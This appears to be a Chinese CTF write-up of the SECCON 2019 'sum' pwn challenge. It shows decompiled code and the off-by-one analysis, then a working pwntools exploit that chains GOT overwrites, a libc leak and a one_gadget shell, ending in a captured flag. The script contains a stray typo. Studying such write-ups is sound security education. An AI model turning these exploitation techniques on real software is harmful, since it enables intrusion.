2019 Seccon PWN Writeup--sum

0x20 sum

这道题目挺有意思的, 一开始没想明白怎么利用, 只知道一个Integer Overflowoff by one. 可以把这个问题定性为: 如何通过8字节任意地址写获得shell. 当然, 大佬请绕道~

0x21 检查保护

➜  challenge checksec sum
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

0x22 漏洞分析

main()

程序逻辑也很简单, 就是一个加法运算, 一般这样的都能往整数溢出方面猜了. 先看看main()函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 num[5]; // [rsp+0h] [rbp-40h]
  __int128 result; // [rsp+28h] [rbp-18h]
  unsigned __int64 v6; // [rsp+38h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  num[0] = 0LL;
  num[1] = 0LL;
  num[2] = 0LL;
  num[3] = 0LL;
  num[4] = 0LL;
  result = (unsigned __int64)&result + 8;       // equal: result = &num[4]
  puts("[sum system]\nInput numbers except for 0.\n0 is interpreted as the end of sequence.\n");
  puts("[Example]\n2 3 4 0");
  read_ints(num, 5LL);
  if ( (signed int)sum(num, (_QWORD *)result) > 5 )// check int number count
    exit(-1);                                   // must change exit addr as main address
  printf("%llu\n", *((_QWORD *)&result + 1));
  return 0;
}

上面有两个比较重要的函数, 一是read_ints(); 二是sum(). 还有两个需要关注的数据, 一是num[5], 二是result. 这里需要注意一下, result占了16个字节, 因为后面用到了result = &result + 8, 而numresult在堆栈上是相邻的, 因此如果能够让num数组越界写的话, 就能改result在栈上的值, 即任意修改result的地址.

read_ints()

unsigned __int64 __fastcall read_ints(__int64 *num, __int64 cnt)
{
  __int64 i; // [rsp+10h] [rbp-10h]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  for ( i = 0LL; i <= cnt; ++i )                // vuln1: off by one, can write 6 number
  {
    if ( (unsigned int)__isoc99_scanf("%lld", &num[i]) != 1 )
      exit(-1);
    if ( !num[i] )
      break;
  }
  return __readfsqword(0x28u) ^ v4;
}

上面可以看到,read_ints()第二个参数是输入整数的数量cnt, 但是for循环中的判断为i <= cnt, 故实际可写入6*8 = 48个字节, 即可以改栈上result的地址.

sum()

__int64 __fastcall sum(__int64 *num, _QWORD *result)
{
  int i; // eax
  unsigned int ret; // [rsp+14h] [rbp-Ch]

  *result = 0LL;
  ret = 0;
  while ( num[ret] )
  {
    i = ret++;
    *result += num[i];                          // vuln2: integer overflow
  }
  return ret;
}

这里能明显看到result可以整数溢出(但不需要利用这个洞), 如果能够控制栈上result地址的话, 就可以往任意地址写入value. *result即为这个value.

0x23 漏洞利用

经过上面的分析, 总的利用思路如下:

  1. 输入6个整数, 最后一个整数为我们想要写入数据的地址.(在read_ints()中)

  2. 为了在sum()中控制修改后的result地址上的值, 需要保证六个整数的和(sum)的结果为我们希望写入的值.

  3. 总体的利用步骤如下:

    • First, main函数只能执行一次, 且main()中有sum(num, (_QWORD *)result) > 5的判断, 如果输入超过了5个整数就会exit(), 因此可以修改exit的got地址为main函数的地址, 每次exit的时候实际上调用main.

    • Second, 能够重复调用main函数还不够, 还需要泄露libc地址以跳到onegadget. 但是main函数不能执行到printf(因为exit()变成了main), 而前面两次puts都是固定字符串变量, 在.data段, 无法修改那个段上的值. 所以找到了setup()函数, 这个函数在_start中被__init_array调用. setup()中调用了setvbuf(), setvbuf的第一个参数是.bss段上的, 可以先把setvbuf()got地址改为puts, 然后再改__bss_start地址上的值为putsgot地址, 就能打印出puts的地址.

      unsigned __int64 setup()
      {
        unsigned __int64 v0; // ST08_8
      
        v0 = __readfsqword(0x28u);
        setvbuf(_bss_start, 0LL, 2, 0LL);
        setvbuf(stdin, 0LL, 2, 0LL);                  // 2: unbuffered
        alarm(0x1Eu);
        return __readfsqword(0x28u) ^ v0;
      }
      
    • Third, 经过上一步计算出libc基址后, 就能确定one_gadget的地址了, 最终确定只有0x4f322的one_gadget才有用. 如下:

      ➜  seccon one_gadget libc.so_18292bd12d37bfaf58e8dded9db7f1f5da1192cb 
      0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
      constraints:
        rcx == NULL
      
      0x4f322 execve("/bin/sh", rsp+0x40, environ)
      constraints:
        [rsp+0x40] == NULL
      
      0x10a38c execve("/bin/sh", rsp+0x70, environ)
      constraints:
        [rsp+0x70] == NULL
      

0x24 exp

#!/usr/bin/env python
#coding=utf-8

from pwn import *

# we should make 6 integers sum result is %value in %addr
def sla(addr, value):
    p.sendlineafter("2 3 4 0\n", "-{} 1 1 1 {} {}".format(addr, value - 3, addr))

context.log_level = "debug"
context.terminal  = ["tmux", "splitw", "-h"]

p = process("./sum")a
elf = ELF("./sum")
libc = ELF("./libc.so_18292bd12d37bfaf58e8dded9db7f1f5da1192cb")

puts_plt = 0x400600

# 1. First, change exit got as _start address, so can reuse main func
sla(elf.got['exit'], elf.sym['_start'])
# 2. Second, change setvbuf got as puts address in setup(),
# setup() func called by _init_array
# so that we cant puts value
sla(elf.got["setvbuf"], puts_plt)
# 3. Third, change __bss_start value as puts got address, can leak puts address
sla(elf.sym['__bss_start'], elf.got['puts'])

puts_addr = u64(p.recvn(6).ljust(8, '\x00'))
libc.address = puts_addr - libc.sym['puts']
info("leak puts address: " + hex(puts_addr))
info("libc base: " + hex(libc.address))

# 4. change scanf got address as one gadget
sla(elf.got['__isoc99_scanf'], libc.address + 0x4f322)

p.interactive()
$ cat flag.txt
[DEBUG] Sent 0xd bytes:
    'cat flag.txt\n'
[DEBUG] Received 0x36 bytes:
    'SECCON{ret_call_call_ret??_ret_ret_ret........shell!}\n'
SECCON{ret_call_call_ret??_ret_ret_ret........shell!}
[*] Got EOF while reading in interactive
$  

你可能感兴趣的:(2019 Seccon PWN Writeup--sum)